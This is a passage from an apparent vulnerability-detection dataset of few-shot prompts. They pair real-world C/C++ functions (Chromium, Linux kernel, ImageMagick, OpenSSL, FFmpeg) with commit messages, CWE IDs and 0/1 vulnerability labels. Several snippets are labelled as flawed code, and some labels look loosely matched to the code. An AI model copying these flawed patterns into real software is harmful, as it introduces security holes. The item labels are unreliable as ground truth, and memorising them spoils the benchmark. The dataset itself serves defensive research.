return ScriptValue::CreateNull(script_state);
}
GLint value = 0;
switch (pname) {
case GL_DELETE_STATUS:
return WebGLAny(script_state, program->MarkedForDeletion());
case GL_VALIDATE_STATUS:
ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value);
return WebGLAny(script_state, static_cast<bool>(value));
case GL_LINK_STATUS:
return WebGLAny(script_state, program->LinkStatus(this));
case GL_COMPLETION_STATUS_KHR:
if (!ExtensionEnabled(kKHRParallelShaderCompileName)) {
SynthesizeGLError(GL_INVALID_ENUM, "getProgramParameter",
"invalid parameter name");
return ScriptValue::CreateNull(script_state);
}
return WebGLAny(script_state, program->CompletionStatus(this));
case GL_ACTIVE_UNIFORM_BLOCKS:
case GL_TRANSFORM_FEEDBACK_VARYINGS:
if (!IsWebGL2OrHigher()) {
SynthesizeGLError(GL_INVALID_ENUM, "getProgramParameter",
"invalid parameter name");
return ScriptValue::CreateNull(script_state);
}
FALLTHROUGH;
case GL_ATTACHED_SHADERS:
case GL_ACTIVE_ATTRIBUTES:
case GL_ACTIVE_UNIFORMS:
ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value);
return WebGLAny(script_state, value);
case GL_TRANSFORM_FEEDBACK_BUFFER_MODE:
if (!IsWebGL2OrHigher()) {
SynthesizeGLError(GL_INVALID_ENUM, "getProgramParameter",
"invalid parameter name");
return ScriptValue::CreateNull(script_state);
}
ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value);
return WebGLAny(script_state, static_cast<unsigned>(value));
case GL_ACTIVE_ATOMIC_COUNTER_BUFFERS:
if (context_type_ == Platform::kWebGL2ComputeContextType) {
ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value);
return WebGLAny(script_state, static_cast<unsigned>(value));
}
FALLTHROUGH;
default:
SynthesizeGLError(GL_INVALID_ENUM, "getProgramParameter",
"invalid parameter name");
return ScriptValue::CreateNull(script_state);
}
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <[email protected]>
Reviewed-by: Kentaro Hara <[email protected]>
Reviewed-by: Geoff Lang <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416
Target: 1
Example 2:
Code: static int fsck_commit(struct commit *commit, const char *data,
unsigned long size, struct fsck_options *options)
{
const char *buffer = data ? data : get_commit_buffer(commit, &size);
int ret = fsck_commit_buffer(commit, buffer, size, options);
if (!data)
unuse_commit_buffer(commit, buffer);
return ret;
}
Commit Message: fsck: detect submodule urls starting with dash
Urls with leading dashes can cause mischief on older
versions of Git. We should detect them so that they can be
rejected by receive.fsckObjects, preventing modern versions
of git from being a vector by which attacks can spread.
Signed-off-by: Jeff King <[email protected]>
Signed-off-by: Junio C Hamano <[email protected]>
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: int ff_reget_buffer(AVCodecContext *avctx, AVFrame *frame)
{
int ret = reget_buffer_internal(avctx, frame);
if (ret < 0)
av_log(avctx, AV_LOG_ERROR, "reget_buffer() failed\n");
return ret;
}
Commit Message: avcodec/utils: correct align value for interplay
Fixes out of array access
Fixes: 452/fuzz-1-ffmpeg_VIDEO_AV_CODEC_ID_INTERPLAY_VIDEO_fuzzer
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Signed-off-by: Michael Niedermayer <[email protected]>
CWE ID: CWE-787
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void HistoryController::UpdateForCommit(RenderFrameImpl* frame,
const WebHistoryItem& item,
WebHistoryCommitType commit_type,
bool navigation_within_page) {
switch (commit_type) {
case blink::WebBackForwardCommit:
if (!provisional_entry_)
return;
current_entry_.reset(provisional_entry_.release());
if (HistoryEntry::HistoryNode* node =
current_entry_->GetHistoryNodeForFrame(frame)) {
node->set_item(item);
}
break;
case blink::WebStandardCommit:
CreateNewBackForwardItem(frame, item, navigation_within_page);
break;
case blink::WebInitialCommitInChildFrame:
UpdateForInitialLoadInChildFrame(frame, item);
break;
case blink::WebHistoryInertCommit:
if (current_entry_) {
if (HistoryEntry::HistoryNode* node =
current_entry_->GetHistoryNodeForFrame(frame)) {
if (!navigation_within_page)
node->RemoveChildren();
node->set_item(item);
}
}
break;
default:
NOTREACHED() << "Invalid commit type: " << commit_type;
}
}
Commit Message: Fix HistoryEntry corruption when commit isn't for provisional entry.
BUG=597322
TEST=See bug for repro steps.
Review URL: https://codereview.chromium.org/1848103004
Cr-Commit-Position: refs/heads/master@{#384659}
CWE ID: CWE-254
Target: 1
Example 2:
Code: void bytesToHuman(char *s, long long n) {
double d;
if (n < 0) {
*s = '-';
s++;
n = -n;
}
if (n < 1024) {
/* Bytes */
sprintf(s,"%lldB",n);
return;
} else if (n < (1024*1024)) {
d = (double)n/(1024);
sprintf(s,"%.2fK",d);
} else if (n < (1024LL*1024*1024)) {
d = (double)n/(1024*1024);
sprintf(s,"%.2fM",d);
} else if (n < (1024LL*1024*1024*1024)) {
d = (double)n/(1024LL*1024*1024);
sprintf(s,"%.2fG",d);
}
}
Commit Message: Security: fix redis-cli buffer overflow.
Thanks to Fakhri Zulkifli for reporting it.
The fix switched to dynamic allocation, copying the final prompt in the
static buffer only at the end.
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static struct async *async_getcompleted(struct usb_dev_state *ps)
{
unsigned long flags;
struct async *as = NULL;
spin_lock_irqsave(&ps->lock, flags);
if (!list_empty(&ps->async_completed)) {
as = list_entry(ps->async_completed.next, struct async,
asynclist);
list_del_init(&as->asynclist);
}
spin_unlock_irqrestore(&ps->lock, flags);
return as;
}
Commit Message: USB: usbfs: fix potential infoleak in devio
The stack object “ci” has a total size of 8 bytes. Its last 3 bytes
are padding bytes which are not initialized and leaked to userland
via “copy_to_user”.
Signed-off-by: Kangjie Lu <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
CWE ID: CWE-200
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: MagickExport Image *MeanShiftImage(const Image *image,const size_t width,
const size_t height,const double color_distance,ExceptionInfo *exception)
{
#define MaxMeanShiftIterations 100
#define MeanShiftImageTag "MeanShift/Image"
CacheView
*image_view,
*mean_view,
*pixel_view;
Image
*mean_image;
MagickBooleanType
status;
MagickOffsetType
progress;
ssize_t
y;
assert(image != (const Image *) NULL);
assert(image->signature == MagickCoreSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickCoreSignature);
mean_image=CloneImage(image,0,0,MagickTrue,exception);
if (mean_image == (Image *) NULL)
return((Image *) NULL);
if (SetImageStorageClass(mean_image,DirectClass) == MagickFalse)
{
InheritException(exception,&mean_image->exception);
mean_image=DestroyImage(mean_image);
return((Image *) NULL);
}
status=MagickTrue;
progress=0;
image_view=AcquireVirtualCacheView(image,exception);
pixel_view=AcquireVirtualCacheView(image,exception);
mean_view=AcquireAuthenticCacheView(mean_image,exception);
#if defined(MAGICKCORE_OPENMP_SUPPORT)
#pragma omp parallel for schedule(static) shared(status,progress) \
magick_number_threads(mean_image,mean_image,mean_image->rows,1)
#endif
for (y=0; y < (ssize_t) mean_image->rows; y++)
{
register const IndexPacket
*magick_restrict indexes;
register const PixelPacket
*magick_restrict p;
register PixelPacket
*magick_restrict q;
register ssize_t
x;
if (status == MagickFalse)
continue;
p=GetCacheViewVirtualPixels(image_view,0,y,image->columns,1,exception);
q=GetCacheViewAuthenticPixels(mean_view,0,y,mean_image->columns,1,
exception);
if ((p == (const PixelPacket *) NULL) || (q == (PixelPacket *) NULL))
{
status=MagickFalse;
continue;
}
indexes=GetCacheViewVirtualIndexQueue(image_view);
for (x=0; x < (ssize_t) mean_image->columns; x++)
{
MagickPixelPacket
mean_pixel,
previous_pixel;
PointInfo
mean_location,
previous_location;
register ssize_t
i;
GetMagickPixelPacket(image,&mean_pixel);
SetMagickPixelPacket(image,p,indexes+x,&mean_pixel);
mean_location.x=(double) x;
mean_location.y=(double) y;
for (i=0; i < MaxMeanShiftIterations; i++)
{
double
distance,
gamma;
MagickPixelPacket
sum_pixel;
PointInfo
sum_location;
ssize_t
count,
v;
sum_location.x=0.0;
sum_location.y=0.0;
GetMagickPixelPacket(image,&sum_pixel);
previous_location=mean_location;
previous_pixel=mean_pixel;
count=0;
for (v=(-((ssize_t) height/2)); v <= (((ssize_t) height/2)); v++)
{
ssize_t
u;
for (u=(-((ssize_t) width/2)); u <= (((ssize_t) width/2)); u++)
{
if ((v*v+u*u) <= (ssize_t) ((width/2)*(height/2)))
{
PixelPacket
pixel;
status=GetOneCacheViewVirtualPixel(pixel_view,(ssize_t)
MagickRound(mean_location.x+u),(ssize_t) MagickRound(
mean_location.y+v),&pixel,exception);
distance=(mean_pixel.red-pixel.red)*(mean_pixel.red-pixel.red)+
(mean_pixel.green-pixel.green)*(mean_pixel.green-pixel.green)+
(mean_pixel.blue-pixel.blue)*(mean_pixel.blue-pixel.blue);
if (distance <= (color_distance*color_distance))
{
sum_location.x+=mean_location.x+u;
sum_location.y+=mean_location.y+v;
sum_pixel.red+=pixel.red;
sum_pixel.green+=pixel.green;
sum_pixel.blue+=pixel.blue;
sum_pixel.opacity+=pixel.opacity;
count++;
}
}
}
}
gamma=1.0/count;
mean_location.x=gamma*sum_location.x;
mean_location.y=gamma*sum_location.y;
mean_pixel.red=gamma*sum_pixel.red;
mean_pixel.green=gamma*sum_pixel.green;
mean_pixel.blue=gamma*sum_pixel.blue;
mean_pixel.opacity=gamma*sum_pixel.opacity;
distance=(mean_location.x-previous_location.x)*
(mean_location.x-previous_location.x)+
(mean_location.y-previous_location.y)*
(mean_location.y-previous_location.y)+
255.0*QuantumScale*(mean_pixel.red-previous_pixel.red)*
255.0*QuantumScale*(mean_pixel.red-previous_pixel.red)+
255.0*QuantumScale*(mean_pixel.green-previous_pixel.green)*
255.0*QuantumScale*(mean_pixel.green-previous_pixel.green)+
255.0*QuantumScale*(mean_pixel.blue-previous_pixel.blue)*
255.0*QuantumScale*(mean_pixel.blue-previous_pixel.blue);
if (distance <= 3.0)
break;
}
q->red=ClampToQuantum(mean_pixel.red);
q->green=ClampToQuantum(mean_pixel.green);
q->blue=ClampToQuantum(mean_pixel.blue);
q->opacity=ClampToQuantum(mean_pixel.opacity);
p++;
q++;
}
if (SyncCacheViewAuthenticPixels(mean_view,exception) == MagickFalse)
status=MagickFalse;
if (image->progress_monitor != (MagickProgressMonitor) NULL)
{
MagickBooleanType
proceed;
#if defined(MAGICKCORE_OPENMP_SUPPORT)
#pragma omp atomic
#endif
progress++;
proceed=SetImageProgress(image,MeanShiftImageTag,progress,image->rows);
if (proceed == MagickFalse)
status=MagickFalse;
}
}
mean_view=DestroyCacheView(mean_view);
pixel_view=DestroyCacheView(pixel_view);
image_view=DestroyCacheView(image_view);
return(mean_image);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/1552
CWE ID: CWE-369
Target: 1
Example 2:
Code: static int cms_RecipientInfo_ktri_encrypt(CMS_ContentInfo *cms,
CMS_RecipientInfo *ri)
{
CMS_KeyTransRecipientInfo *ktri;
CMS_EncryptedContentInfo *ec;
EVP_PKEY_CTX *pctx;
unsigned char *ek = NULL;
size_t eklen;
int ret = 0;
if (ri->type != CMS_RECIPINFO_TRANS) {
CMSerr(CMS_F_CMS_RECIPIENTINFO_KTRI_ENCRYPT, CMS_R_NOT_KEY_TRANSPORT);
return 0;
}
ktri = ri->d.ktri;
ec = cms->d.envelopedData->encryptedContentInfo;
pctx = ktri->pctx;
if (pctx) {
if (!cms_env_asn1_ctrl(ri, 0))
goto err;
} else {
pctx = EVP_PKEY_CTX_new(ktri->pkey, NULL);
if (!pctx)
return 0;
if (EVP_PKEY_encrypt_init(pctx) <= 0)
goto err;
}
if (EVP_PKEY_CTX_ctrl(pctx, -1, EVP_PKEY_OP_ENCRYPT,
EVP_PKEY_CTRL_CMS_ENCRYPT, 0, ri) <= 0) {
CMSerr(CMS_F_CMS_RECIPIENTINFO_KTRI_ENCRYPT, CMS_R_CTRL_ERROR);
goto err;
}
if (EVP_PKEY_encrypt(pctx, NULL, &eklen, ec->key, ec->keylen) <= 0)
goto err;
ek = OPENSSL_malloc(eklen);
if (ek == NULL) {
CMSerr(CMS_F_CMS_RECIPIENTINFO_KTRI_ENCRYPT, ERR_R_MALLOC_FAILURE);
goto err;
}
if (EVP_PKEY_encrypt(pctx, ek, &eklen, ec->key, ec->keylen) <= 0)
goto err;
ASN1_STRING_set0(ktri->encryptedKey, ek, eklen);
ek = NULL;
ret = 1;
err:
if (pctx) {
EVP_PKEY_CTX_free(pctx);
ktri->pctx = NULL;
}
if (ek)
OPENSSL_free(ek);
return ret;
}
Commit Message:
CWE ID: CWE-311
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static Image *ReadJNGImage(const ImageInfo *image_info,ExceptionInfo *exception)
{
Image
*image;
MagickBooleanType
logging,
status;
MngInfo
*mng_info;
char
magic_number[MaxTextExtent];
size_t
count;
/*
Open image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickSignature);
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image_info->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickSignature);
logging=LogMagickEvent(CoderEvent,GetMagickModule(),"Enter ReadJNGImage()");
image=AcquireImage(image_info);
mng_info=(MngInfo *) NULL;
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
return((Image *) NULL);
if (LocaleCompare(image_info->magick,"JNG") != 0)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
/* Verify JNG signature. */
count=(size_t) ReadBlob(image,8,(unsigned char *) magic_number);
if (count < 8 || memcmp(magic_number,"\213JNG\r\n\032\n",8) != 0)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
/* Allocate a MngInfo structure. */
mng_info=(MngInfo *) AcquireMagickMemory(sizeof(*mng_info));
if (mng_info == (MngInfo *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
/* Initialize members of the MngInfo structure. */
(void) ResetMagickMemory(mng_info,0,sizeof(MngInfo));
mng_info->image=image;
image=ReadOneJNGImage(mng_info,image_info,exception);
mng_info=MngInfoFreeStruct(mng_info);
if (image == (Image *) NULL)
{
if (logging != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"exit ReadJNGImage() with error");
return((Image *) NULL);
}
(void) CloseBlob(image);
if (image->columns == 0 || image->rows == 0)
{
if (logging != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"exit ReadJNGImage() with error");
ThrowReaderException(CorruptImageError,"CorruptImage");
}
if (logging != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),"exit ReadJNGImage()");
return(image);
}
Commit Message: ...
CWE ID: CWE-754
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static gboolean nbd_negotiate_continue(QIOChannel *ioc,
GIOCondition condition,
void *opaque)
{
qemu_coroutine_enter(opaque);
return TRUE;
}
Commit Message:
CWE ID: CWE-20
Target: 1
Example 2:
Code: bool HTMLFormControlElement::IsKeyboardFocusable() const {
if (RuntimeEnabledFeatures::FocuslessSpatialNavigationEnabled())
return HTMLElement::IsKeyboardFocusable();
return IsFocusable();
}
Commit Message: autofocus: Fix a crash with an autofocus element in a document without browsing context.
ShouldAutofocus() should check existence of the browsing context.
Otherwise, doc.TopFrameOrigin() returns null.
Before crrev.com/695830, ShouldAutofocus() was called only for
rendered elements. That is to say, the document always had
browsing context.
Bug: 1003228
Change-Id: I2a941c34e9707d44869a6d7585dc7fb9f06e3bf4
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1800902
Commit-Queue: Kent Tamura <[email protected]>
Reviewed-by: Keishi Hattori <[email protected]>
Cr-Commit-Position: refs/heads/master@{#696291}
CWE ID: CWE-704
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void CueTimeline::UpdateActiveCues(double movie_time) {
if (IgnoreUpdateRequests())
return;
HTMLMediaElement& media_element = MediaElement();
if (media_element.GetDocument().IsDetached())
return;
CueList current_cues;
if (media_element.getReadyState() != HTMLMediaElement::kHaveNothing &&
media_element.GetWebMediaPlayer())
current_cues =
cue_tree_.AllOverlaps(cue_tree_.CreateInterval(movie_time, movie_time));
CueList previous_cues;
CueList missed_cues;
previous_cues = currently_active_cues_;
double last_time = last_update_time_;
double last_seek_time = media_element.LastSeekTime();
if (last_time >= 0 && last_seek_time < movie_time) {
CueList potentially_skipped_cues =
cue_tree_.AllOverlaps(cue_tree_.CreateInterval(last_time, movie_time));
for (CueInterval cue : potentially_skipped_cues) {
if (cue.Low() > std::max(last_seek_time, last_time) &&
cue.High() < movie_time)
missed_cues.push_back(cue);
}
}
last_update_time_ = movie_time;
if (!media_element.seeking() && last_seek_time < last_time)
media_element.ScheduleTimeupdateEvent(true);
size_t missed_cues_size = missed_cues.size();
size_t previous_cues_size = previous_cues.size();
bool active_set_changed = missed_cues_size;
for (size_t i = 0; !active_set_changed && i < previous_cues_size; ++i) {
if (!current_cues.Contains(previous_cues[i]) &&
previous_cues[i].Data()->IsActive())
active_set_changed = true;
}
for (CueInterval current_cue : current_cues) {
if (current_cue.Data()->IsActive())
current_cue.Data()->UpdatePastAndFutureNodes(movie_time);
else
active_set_changed = true;
}
if (!active_set_changed)
return;
for (size_t i = 0; !media_element.paused() && i < previous_cues_size; ++i) {
if (previous_cues[i].Data()->pauseOnExit() &&
previous_cues[i].Data()->IsActive() &&
!current_cues.Contains(previous_cues[i]))
media_element.pause();
}
for (size_t i = 0; !media_element.paused() && i < missed_cues_size; ++i) {
if (missed_cues[i].Data()->pauseOnExit())
media_element.pause();
}
HeapVector<std::pair<double, Member<TextTrackCue>>> event_tasks;
HeapVector<Member<TextTrack>> affected_tracks;
for (const auto& missed_cue : missed_cues) {
event_tasks.push_back(
std::make_pair(missed_cue.Data()->startTime(), missed_cue.Data()));
if (missed_cue.Data()->startTime() < missed_cue.Data()->endTime()) {
event_tasks.push_back(
std::make_pair(missed_cue.Data()->endTime(), missed_cue.Data()));
}
}
for (const auto& previous_cue : previous_cues) {
if (!current_cues.Contains(previous_cue)) {
event_tasks.push_back(
std::make_pair(previous_cue.Data()->endTime(), previous_cue.Data()));
}
}
for (const auto& current_cue : current_cues) {
if (!previous_cues.Contains(current_cue)) {
event_tasks.push_back(
std::make_pair(current_cue.Data()->startTime(), current_cue.Data()));
}
}
NonCopyingSort(event_tasks.begin(), event_tasks.end(), EventTimeCueCompare);
for (const auto& task : event_tasks) {
if (!affected_tracks.Contains(task.second->track()))
affected_tracks.push_back(task.second->track());
if (task.second->startTime() >= task.second->endTime()) {
media_element.ScheduleEvent(
CreateEventWithTarget(EventTypeNames::enter, task.second.Get()));
media_element.ScheduleEvent(
CreateEventWithTarget(EventTypeNames::exit, task.second.Get()));
} else {
bool is_enter_event = task.first == task.second->startTime();
AtomicString event_name =
is_enter_event ? EventTypeNames::enter : EventTypeNames::exit;
media_element.ScheduleEvent(
CreateEventWithTarget(event_name, task.second.Get()));
}
}
NonCopyingSort(affected_tracks.begin(), affected_tracks.end(),
TrackIndexCompare);
for (const auto& track : affected_tracks) {
media_element.ScheduleEvent(
CreateEventWithTarget(EventTypeNames::cuechange, track.Get()));
if (track->TrackType() == TextTrack::kTrackElement) {
HTMLTrackElement* track_element =
ToLoadableTextTrack(track.Get())->TrackElement();
DCHECK(track_element);
media_element.ScheduleEvent(
CreateEventWithTarget(EventTypeNames::cuechange, track_element));
}
}
for (const auto& cue : current_cues)
cue.Data()->SetIsActive(true);
for (const auto& previous_cue : previous_cues) {
if (!current_cues.Contains(previous_cue)) {
TextTrackCue* cue = previous_cue.Data();
cue->SetIsActive(false);
cue->RemoveDisplayTree();
}
}
currently_active_cues_ = current_cues;
media_element.UpdateTextTrackDisplay();
}
Commit Message: Support negative timestamps of TextTrackCue
Ensure proper behaviour for negative timestamps of TextTrackCue.
1. Cues with negative startTime should become active from 0s.
2. Cues with negative startTime and endTime should never be active.
Bug: 314032
Change-Id: Ib53710e58be0be770c933ea8c3c4709a0e5dec0d
Reviewed-on: https://chromium-review.googlesource.com/863270
Commit-Queue: srirama chandra sekhar <[email protected]>
Reviewed-by: Fredrik Söderquist <[email protected]>
Cr-Commit-Position: refs/heads/master@{#529012}
CWE ID:
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: int ASN1_item_verify(const ASN1_ITEM *it, X509_ALGOR *a, ASN1_BIT_STRING *signature,
void *asn, EVP_PKEY *pkey)
{
EVP_MD_CTX ctx;
const EVP_MD *type;
unsigned char *buf_in=NULL;
int ret= -1,i,inl;
EVP_MD_CTX_init(&ctx);
i=OBJ_obj2nid(a->algorithm);
type=EVP_get_digestbyname(OBJ_nid2sn(i));
if (!EVP_VerifyInit_ex(&ctx,type, NULL))
{
ASN1err(ASN1_F_ASN1_ITEM_VERIFY,ERR_R_EVP_LIB);
ret=0;
goto err;
}
inl = ASN1_item_i2d(asn, &buf_in, it);
if (buf_in == NULL)
{
ASN1err(ASN1_F_ASN1_ITEM_VERIFY,ERR_R_MALLOC_FAILURE);
goto err;
}
EVP_VerifyUpdate(&ctx,(unsigned char *)buf_in,inl);
OPENSSL_cleanse(buf_in,(unsigned int)inl);
OPENSSL_free(buf_in);
if (EVP_VerifyFinal(&ctx,(unsigned char *)signature->data,
(unsigned int)signature->length,pkey) <= 0)
{
ASN1err(ASN1_F_ASN1_ITEM_VERIFY,ERR_R_EVP_LIB);
ret=0;
goto err;
}
/* we don't need to zero the 'ctx' because we just checked
* public information */
/* memset(&ctx,0,sizeof(ctx)); */
ret=1;
err:
EVP_MD_CTX_cleanup(&ctx);
return(ret);
}
Commit Message:
CWE ID: CWE-310
Target: 1
Example 2:
Code: ASN1_INTEGER *c2i_ASN1_INTEGER(ASN1_INTEGER **a, const unsigned char **pp,
long len)
{
ASN1_INTEGER *ret = NULL;
const unsigned char *p, *pend;
unsigned char *to, *s;
int i;
if ((a == NULL) || ((*a) == NULL)) {
if ((ret = M_ASN1_INTEGER_new()) == NULL)
return (NULL);
ret->type = V_ASN1_INTEGER;
} else
ret = (*a);
p = *pp;
pend = p + len;
/*
* We must OPENSSL_malloc stuff, even for 0 bytes otherwise it signifies
* a missing NULL parameter.
*/
s = (unsigned char *)OPENSSL_malloc((int)len + 1);
if (s == NULL) {
i = ERR_R_MALLOC_FAILURE;
goto err;
}
to = s;
if (!len) {
/*
* Strictly speaking this is an illegal INTEGER but we tolerate it.
*/
ret->type = V_ASN1_INTEGER;
} else if (*p & 0x80) { /* a negative number */
ret->type = V_ASN1_NEG_INTEGER;
if ((*p == 0xff) && (len != 1)) {
p++;
len--;
}
i = len;
p += i - 1;
to += i - 1;
while ((!*p) && i) {
*(to--) = 0;
i--;
p--;
}
/*
* Special case: if all zeros then the number will be of the form FF
* followed by n zero bytes: this corresponds to 1 followed by n zero
* bytes. We've already written n zeros so we just append an extra
* one and set the first byte to a 1. This is treated separately
* because it is the only case where the number of bytes is larger
* than len.
*/
if (!i) {
*s = 1;
s[len] = 0;
len++;
} else {
*(to--) = (*(p--) ^ 0xff) + 1;
i--;
for (; i > 0; i--)
*(to--) = *(p--) ^ 0xff;
}
} else {
ret->type = V_ASN1_INTEGER;
if ((*p == 0) && (len != 1)) {
p++;
len--;
}
memcpy(s, p, (int)len);
}
if (ret->data != NULL)
OPENSSL_free(ret->data);
ret->data = s;
ret->length = (int)len;
if (a != NULL)
(*a) = ret;
*pp = pend;
return (ret);
err:
ASN1err(ASN1_F_C2I_ASN1_INTEGER, i);
if ((ret != NULL) && ((a == NULL) || (*a != ret)))
M_ASN1_INTEGER_free(ret);
return (NULL);
}
Commit Message:
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: int sock_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
int val;
int valbool;
struct linger ling;
int ret = 0;
/*
* Options without arguments
*/
if (optname == SO_BINDTODEVICE)
return sock_bindtodevice(sk, optval, optlen);
if (optlen < sizeof(int))
return -EINVAL;
if (get_user(val, (int __user *)optval))
return -EFAULT;
valbool = val ? 1 : 0;
lock_sock(sk);
switch (optname) {
case SO_DEBUG:
if (val && !capable(CAP_NET_ADMIN))
ret = -EACCES;
else
sock_valbool_flag(sk, SOCK_DBG, valbool);
break;
case SO_REUSEADDR:
sk->sk_reuse = (valbool ? SK_CAN_REUSE : SK_NO_REUSE);
break;
case SO_TYPE:
case SO_PROTOCOL:
case SO_DOMAIN:
case SO_ERROR:
ret = -ENOPROTOOPT;
break;
case SO_DONTROUTE:
sock_valbool_flag(sk, SOCK_LOCALROUTE, valbool);
break;
case SO_BROADCAST:
sock_valbool_flag(sk, SOCK_BROADCAST, valbool);
break;
case SO_SNDBUF:
/* Don't error on this BSD doesn't and if you think
* about it this is right. Otherwise apps have to
* play 'guess the biggest size' games. RCVBUF/SNDBUF
* are treated in BSD as hints
*/
val = min_t(u32, val, sysctl_wmem_max);
set_sndbuf:
sk->sk_userlocks |= SOCK_SNDBUF_LOCK;
sk->sk_sndbuf = max_t(u32, val * 2, SOCK_MIN_SNDBUF);
/* Wake up sending tasks if we upped the value. */
sk->sk_write_space(sk);
break;
case SO_SNDBUFFORCE:
if (!capable(CAP_NET_ADMIN)) {
ret = -EPERM;
break;
}
goto set_sndbuf;
case SO_RCVBUF:
/* Don't error on this BSD doesn't and if you think
* about it this is right. Otherwise apps have to
* play 'guess the biggest size' games. RCVBUF/SNDBUF
* are treated in BSD as hints
*/
val = min_t(u32, val, sysctl_rmem_max);
set_rcvbuf:
sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
/*
* We double it on the way in to account for
* "struct sk_buff" etc. overhead. Applications
* assume that the SO_RCVBUF setting they make will
* allow that much actual data to be received on that
* socket.
*
* Applications are unaware that "struct sk_buff" and
* other overheads allocate from the receive buffer
* during socket buffer allocation.
*
* And after considering the possible alternatives,
* returning the value we actually used in getsockopt
* is the most desirable behavior.
*/
sk->sk_rcvbuf = max_t(u32, val * 2, SOCK_MIN_RCVBUF);
break;
case SO_RCVBUFFORCE:
if (!capable(CAP_NET_ADMIN)) {
ret = -EPERM;
break;
}
goto set_rcvbuf;
case SO_KEEPALIVE:
#ifdef CONFIG_INET
if (sk->sk_protocol == IPPROTO_TCP)
tcp_set_keepalive(sk, valbool);
#endif
sock_valbool_flag(sk, SOCK_KEEPOPEN, valbool);
break;
case SO_OOBINLINE:
sock_valbool_flag(sk, SOCK_URGINLINE, valbool);
break;
case SO_NO_CHECK:
sk->sk_no_check = valbool;
break;
case SO_PRIORITY:
if ((val >= 0 && val <= 6) || capable(CAP_NET_ADMIN))
sk->sk_priority = val;
else
ret = -EPERM;
break;
case SO_LINGER:
if (optlen < sizeof(ling)) {
ret = -EINVAL; /* 1003.1g */
break;
}
if (copy_from_user(&ling, optval, sizeof(ling))) {
ret = -EFAULT;
break;
}
if (!ling.l_onoff)
sock_reset_flag(sk, SOCK_LINGER);
else {
#if (BITS_PER_LONG == 32)
if ((unsigned int)ling.l_linger >= MAX_SCHEDULE_TIMEOUT/HZ)
sk->sk_lingertime = MAX_SCHEDULE_TIMEOUT;
else
#endif
sk->sk_lingertime = (unsigned int)ling.l_linger * HZ;
sock_set_flag(sk, SOCK_LINGER);
}
break;
case SO_BSDCOMPAT:
sock_warn_obsolete_bsdism("setsockopt");
break;
case SO_PASSCRED:
if (valbool)
set_bit(SOCK_PASSCRED, &sock->flags);
else
clear_bit(SOCK_PASSCRED, &sock->flags);
break;
case SO_TIMESTAMP:
case SO_TIMESTAMPNS:
if (valbool) {
if (optname == SO_TIMESTAMP)
sock_reset_flag(sk, SOCK_RCVTSTAMPNS);
else
sock_set_flag(sk, SOCK_RCVTSTAMPNS);
sock_set_flag(sk, SOCK_RCVTSTAMP);
sock_enable_timestamp(sk, SOCK_TIMESTAMP);
} else {
sock_reset_flag(sk, SOCK_RCVTSTAMP);
sock_reset_flag(sk, SOCK_RCVTSTAMPNS);
}
break;
case SO_TIMESTAMPING:
if (val & ~SOF_TIMESTAMPING_MASK) {
ret = -EINVAL;
break;
}
sock_valbool_flag(sk, SOCK_TIMESTAMPING_TX_HARDWARE,
